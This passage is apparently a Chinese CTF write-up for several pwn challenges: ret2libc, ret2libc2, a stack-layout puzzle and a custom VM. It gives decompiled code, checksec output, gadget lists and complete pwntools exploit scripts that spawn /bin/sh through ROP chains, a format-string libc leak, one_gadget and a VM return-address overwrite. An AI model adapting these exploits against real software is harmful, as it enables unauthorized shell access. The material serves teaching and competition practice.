puts_real_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) #read函数的真实地址,由于真实地址总是从7f开始,故从7f开始接收,长度补足8个字节 print("puts_real_addr: ", hex(puts_real_addr)) libc_base = puts_real_addr - libc.sym["puts"] #ret_addr = 0x00400579 pop_rdi_ret_addr = 0x0000000000400d73 system_addr = libc_base + libc.sym["system"] binsh_addr = libc_base + next(libc.search(b"/bin/sh")) print("system_addr:{}".format(hex(system_addr))) print("binsh_addr:{}".format(hex(binsh_addr))) payload2 = b'a'*(0x40+0x8) + p64(pop_rdi_ret_addr) + p64(binsh_addr) + p64(system_addr) p.recvuntil(b'6.check youer money\n') p.sendline(b'5') p.sendline(payload2) sleep(0.5) p.interactive()
题解有点繁琐,需要学习一些大佬的模板来简化
ret2libc2 考察知识点:ret2libc , 栈迁移 , 格式化字符串漏洞 , ogg , 在libc中找rop
IDA IDA_main
1 2 3 4 5 6 int __fastcall main (int argc, const char **argv, const char **envp) { init(argc, argv, envp); func(); return 0 ; }
IDA_func
1 2 3 4 5 6 7 8 9 10 11 12 13 14 char *func () { char buf[32 ]; char format[14 ]; __int16 v3; strcpy (format, "hello world!\n" ); v3 = 0 ; printf (format); puts ("give you a gift." ); puts ("show your magic" ); read(0 , buf, 0x60u LL); return buf; }
checksec 1 2 3 4 5 6 7 8 9 10 briteny@localhost:/mnt/d/111/ret2libc2$ checksec ret2libc2 [*] '/mnt/d/111/ret2libc2/ret2libc2' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) SHSTK: Enabled IBT: Enabled Stripped: No
题目给了三个附件,对于一般的C程序 ,修改它的配置操作如下 ;
修改ld文件[链接器]
1 patchelf --set-interpreter file_path#[链接器路径]
修改库:
1 patchelf --replace-needed 原库名 新库名#[库路径]
shift+F12
查看字符并没有我们想要的字符串
rop 1 2 3 4 5 6 7 briteny@localhost:/mnt/d/111/ret2libc2$ ROPgadget --binary ./ret2libc2 --only 'pop|ret' Gadgets information ============================================================ 0x000000000040117d : pop rbp ; ret 0x000000000040101a : ret Unique gadgets found: 2
并没有我们想要的
汇编代码: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 .text:00000000004011FB ; __unwind { .text:00000000004011FB endbr64 .text:00000000004011FF push rbp .text:0000000000401200 mov rbp, rsp .text:0000000000401203 sub rsp, 30h .text:0000000000401207 mov rax, 6F77206F6C6C6568h .text:0000000000401211 mov rdx, 0A21646C72h .text:000000000040121B mov qword ptr [rbp+format], rax .text:000000000040121F mov [rbp+var_8], rdx .text:0000000000401223 lea rax, [rbp+format] .text:0000000000401227 mov rdi, rax ; format .text:000000000040122A mov eax, 0 .text:000000000040122F call _printf .text:0000000000401234 lea rax, s ; "give you a gift." .text:000000000040123B mov rdi, rax ; s .text:000000000040123E call _puts .text:0000000000401243 lea rax, aShowYourMagic ; "show your magic" .text:000000000040124A mov rdi, rax ; s .text:000000000040124D call _puts .text:0000000000401252 lea rax, [rbp+buf] .text:0000000000401256 mov edx, 60h ; '`' ; nbytes .text:000000000040125B mov rsi, rax ; buf .text:000000000040125E mov edi, 0 ; fd .text:0000000000401263 mov eax, 0 .text:0000000000401268 call _read .text:000000000040126D lea rax, [rbp+buf] .text:0000000000401271 nop .text:0000000000401272 leave .text:0000000000401273 retn .text:0000000000401273 ; } // starts at 4011FB
可以看到call结束后还会有
1 .text:000000000040126D lea rax, [rbp+buf]
这个时候buf的地址就被加载到了rax
再控制程序跳转到
1 .text:0000000000401227 mov rdi, rax ; format
开始利用格式化字符串泄露地址
我们可以通过泄露__libc_start_call_main+128的地址,进而算出libc的基址
我们可以明显地观察到存在格式化字符串漏洞,在buf溢出时,也可以设定好格式化字符串的值用于地址的泄露
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 from pwn import * # libc = ELF('/home/loorain/glibc-all-in-one/libs/2.35-0ubuntu3.1_amd64/libc.so.6') libc = ELF('./libc.so.6') context.log_level = 'debug' context.arch = 'amd64' context.os = 'linux' context.terminal = ['tmux', 'splitw', '-h', '-F' '#{pane_pid}', '-P'] # io = process('./ret2libc2') io = remote('node2.anna.nssctf.cn',28996) def p(): gdb.attach(proc.pidof(io)[0]) main = 0x401227 bss = 0x404000 # p() io.recvuntil("show your magic\n") payload = b"%7$p" payload = payload.ljust(0x30, b'\x00') payload += p64(bss + 0x300) + p64(main) io.send(payload) libcbase = int(io.recv(14),16) - 0x29d90 success("libcbase -->" + hex(libcbase)) one_gadget = libcbase + 0xebc81 io.recvuntil("show your magic\n") payload = b"a"*0x30 + p64(bss + 0x300) + p64(one_gadget) io.send(payload) io.interactive()
真会布置栈吗? checksec 1 2 3 4 5 6 7 8 9 10 briteny@localhost:/mnt/d/111/pwn4$ checksec attachment [*] '/mnt/d/111/pwn4/attachment' Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX unknown - GNU_STACK missing PIE: No PIE (0x400000) Stack: Executable RWX: Has RWX segments Stripped: No
IDA _start:
1 2 3 4 5 6 7 8 9 10 11 12 13 void __fastcall start (__int64 a1) { signed __int64 v1; void **v2; void *retaddr; print(a1, msg1, 0x17Bu LL); v2 = &retaddr; print(a1, (const char *)&v2, 8uLL ); print(a1, msg2, 0x235u LL); v1 = sys_read(0 , (char *)&v2, 0x539u LL); __asm { jmp [rsp+8 +var_8] } }
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 #! /usr/bin/python3 from pwn import * #pyright: reportUndefinedVariable=false context.os = 'linux' context.arch = 'amd64' # context.log_level = 'debug' context.terminal = ['tmux', 'splitw', '-h'] elf=ELF("./attachment") # libc=ELF("./libc.so.6") debug = 1 if debug: io = process('./attachment') #io = remote('0.0.0.0',9999) else: io = remote('222.67.132.186',25608) def p(): gdb.attach(proc.pidof(io)[0]) # p() # b *0x401079 # 0x0000000000401018 : pop rdi ; pop rbx ; pop r13 ; pop r15 ; jmp r15 # 0x0000000000401021 xor rdx, rdx ; jmp r15 # 0x000000000040101f : jmp rdi # 0x0000000000401017 : pop rsi ; pop rdi ; pop rbx ; pop r13 ; pop r15 ; jmp r15 # 0x000000000040101a : pop r13 ; pop r15 ; jmp r15 # 0x000000000040100C xchg rax, r13 # 0x401077 syscall ; jmp [rsp] # 0x000000000040101c : pop r15 ; jmp r15 # 0x000000000040101b : pop rbp ; pop r15 ; jmp r15 # 0x0000000000401011 : add rbx, 8 ; jmp qword ptr [rbx] # 0x401027 xor rsi, rsi ; jmp r15 # read payload=p64(0x40101a)+p64(0x401017) payload+=p64(0x402800)+p64(0)+p64(0x402800)+p64(0)+p64(0x40100C) payload+=p64(0x40101b)+p64(0x401077) payload+=p64(0x401017)+p64(0x402800)+p64(0x402800)+p64(59)+p64(0x401011)+p64(0X40100A) io.sendline(payload) # p() # sleep(0.5) io.sendline(b'/bin/sh\x00'+p64(0X401021)+p64(0x401027)+p64(0x401027)+p64(0x40100C)) io.interactive()
第一次送入payload的流程:
high_addr
0X40100A [ syscall ; LINUX - sys_write ]
0x401011 [ add rbx, 8 ; jmp qword ptr [rbx] ]
59
0x402800 [ bss段 ]
0x402800 [ bss段 ]
0x401017 [ pop rsi ; pop rdi ; pop rbx ; pop r13 ; pop r15 ; jmp r15 ]
0x401077 [ syscall ; jmp [rsp] ]
0x40101b [ pop rbp ; pop r15 ; jmp r15 ]
0x40100C [ xchg rax, r13 ]
0
0x402800 [ bss段 ]
0
0x402800 [ bss段 ]
0x401017 [ pop rsi ; pop rdi ; pop rbx ; pop r13 ; pop r15 ; jmp r15 ]
0x40101a [ pop r13 ; pop r15 ; jmp r15 ]
low_addr
payload1构造的核心思想其实就是系统调用,过程中语句繁杂,只有一部分是我们需要的,或者有一些是用来当作中间媒介的
程序劫持后的运行流程
**1.**根据ida的结果可知 jmp [rsp+8+var_8],跳转到esp所指向的地址
**2.**跳转到[esp]后执行如下命令
1 pop r13 ; pop r15 ; jmp r15
各个寄存器的值:
1 2 3 r13: 0x40101a r15: 0x401017 rsp: stack_addr_0x402800
**3.**跳转到[r15]后执行如下命令
1 pop rsi ; pop rdi ; pop rbx ; pop r13 ; pop r15 ; jmp r15
各个寄存器的值:
1 2 3 4 5 6 r13: 0 rsi: 0x402800 rdi: 0 rbx: 0x402800 r15: 0x40100C rsp: stack_addr_0x40101b
**4.**跳转到0x40100C后执行如下命令
根据IDA的查看:
1 .text:000000000040100E jmp qword ptr [rsp+0]
各个寄存器的值:
1 2 3 4 5 6 7 r13: some_value rsi: 0x402800 rdi: 0 rbx: 0x402800 r15: 0x40100C rsp: stack_addr_0x40101b rax: 0
**5.**跳转到0x40101b后执行如下命令
1 pop rbp ; pop r15 ; jmp r15
各个寄存器的值:
1 2 3 4 5 6 7 8 r13: some_value rsi: 0x402800 rdi: 0 rbx: 0x402800 r15: 0x401077 rsp: stack_addr_0x401017 rax: 0 rbp: 0x40101b
**6.**跳转到0x401077后执行如下命令,触发系统调用
各个寄存器的值:
1 2 3 4 5 6 7 8 9 r13: some_value rsi: 0x402800 rdi: 0 rbx: 0x402800 r15: 0x401077 rsp: stack_addr_0x401017 rax: 0 rbp: 0x40101b rdx: 0x539
rax为0,出发系统调用sys_read
1 2 3 #第一个参数存储在rdi,是文件描述符fd #第二个参数存储在rsi,表示缓冲区地址,也就是buf #第三个参数存储在rdx,表示要读取的字节
由于程序劫持后一直没修改过rdx的值寄存器的值,所以edx的值由源_start函数中的语句决定,相关部分如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 0x0000000000401033 <+0>: movabs rsi,0x402000 0x000000000040103d <+10>: mov edx,0x17b 0x0000000000401042 <+15>: call 0x401000 <print> 0x0000000000401047 <+20>: push rsp 0x0000000000401048 <+21>: mov rsi,rsp 0x000000000040104b <+24>: mov edx,0x8 0x0000000000401050 <+29>: call 0x401000 <print> 0x0000000000401055 <+34>: movabs rsi,0x40217b 0x000000000040105f <+44>: mov edx,0x235 0x0000000000401064 <+49>: call 0x401000 <print> 0x0000000000401069 <+54>: xor rax,rax 0x000000000040106c <+57>: xor rdi,rdi 0x000000000040106f <+60>: mov rsi,rsp 0x0000000000401072 <+63>: mov edx,0x539 0x0000000000401077 <+68>: syscall 0x0000000000401079 <+70>: jmp QWORD PTR [rsp]
**7.**跳转到0x401017后执行如下命令
1 pop rsi ; pop rdi ; pop rbx ; pop r13 ; pop r15 ; jmp r15
各个寄存器的值:
1 2 3 4 5 6 7 8 9 r13: 59 rsi: 0x401017 rdi: 0x402800 rbx: 0x402800 r15: 0x401011 rsp: stack_addr_0x40100A rax: 0 rbp: 0x40101b rdx: 0x539
**8.**跳转到0x401011后执行如下命令,触发系统调用
1 syscall ; LINUX - sys_write
各个寄存器的值并未发生改变
rax为0,触发系统调用sys_read
1 2 3 #第一个参数存储在rdi,是文件描述符fd #第二个参数存储在rsi,表示缓冲区地址,也就是buf #第三个参数存储在rdx,表示要读取的字节
这个时候相当于开始向bss段写入内容,并且开始控制程序getshell,也就有了payload2的构造
1 io.sendline(b'/bin/sh\x00'+p64(0X401021)+p64(0x401027)+p64(0x401027)+p64(0x40100C))
先写入/bin/sh字符做准备,’\x00’用于结束读取
0x401027:
基本作用就是清空rsi,跳转到[r15]去
0x401011:
1 add rbx, 8 ; jmp qword ptr [rbx]
加完之后rbx的值为0x402808,这个位置存放的就是0x401021
0x401021:
清空rdx,跳转到[r15]指向的位置也就是0x401011
再向后加8位,并跳转到这个位置,循环往复后跳转到0x40100C
0x40100C的内容是:
1 2 .text:000000000040100C xchg rax, r13 .text:000000000040100E jmp qword ptr [rsp+0]
最后再次跳转到[rsp]指向的地址
再次触发系统调用;
这时的寄存器的值:
1 2 3 4 5 6 7 8 9 r13: 0 rsi: 0 rdi: 0 rbx: 0x402820 r15: 0x401011 rsp: stack_addr_0x40100A rax: 59 rbp: 0x40101b rdx: 0
这时的rax的值为59,系统调用为execve()
1 2 3 #第一个参数为程序路径,指向可执行文件,存储在rdi中 #第二个参数为参数数组,指向程序的参数列表,存储在rsi中 #第三个参数为环境变量参数,指向程序的环境变量列表,存储在rdx中
这时设置的参数数组只有一个元素,设置为0,环境变量数组设置为0,最后成功getshell
my_vm 题目附件送的gift图片
checksec 1 2 3 4 5 6 7 8 briteny@localhost:/mnt/d/111/vm$ checksec my_vm [*] '/mnt/d/111/vm/my_vm' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) Stripped: No
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 from pwn import * # libc = ELF('/home/loorain/glibc-all-in-one/libs/2.35-0ubuntu3.1_amd64/libc.so.6') # libc = ELF('./libc.so') context.log_level = 'debug' context.arch = 'amd64' context.os = 'linux' context.terminal = ['tmux', 'splitw', '-h', '-F' '#{pane_pid}', '-P'] # io = process('./my_vm') io = remote('node1.anna.nssctf.cn',28171) def p(): gdb.attach(proc.pidof(io)[0], "b *0x400b39") io.recvuntil("set your IP:") io.sendline("0") io.recvuntil("set your SP:") io.sendline("1") backdoor = 0x400877 # p() cnt = 16 payload = str(0x10000000) + "\n"; payload += str(0x10010001) + "\n"; payload += str(0x10030877) + "\n" # mov r3, 0x0877 payload += str(0x10040040) + "\n" # mov r4, 0x0040 payload += str(0x50020001) + "\n"; # r2 -1 payload += str(0x50020201) + "\n"; # r2 -2 payload += str(0x50020201) + "\n"; # r2 -3 payload += str(0x50020201) + "\n"; # r2 -4 payload += str(0x50020201) + "\n"; # r2 -5 payload += str(0x50020201) + "\n"; # r2 -6 payload += str(0x50020201) + "\n"; # r2 -7 payload += str(0x50020201) + "\n"; # r2 -8 payload += str(0x10050010) + "\n"; # mov r5 0x10 payload += str(0x80040405) + "\n"; # r4 << 16 payload += str(0x40030304) + "\n"; # add r3, r4 payload += str(0x90020300) + "\n"; # mov [r2], r3 io.recvuntil("How much code do you want to execve:") io.sendline(str(cnt)) # p() sleep(1) io.send(payload) io.interactive()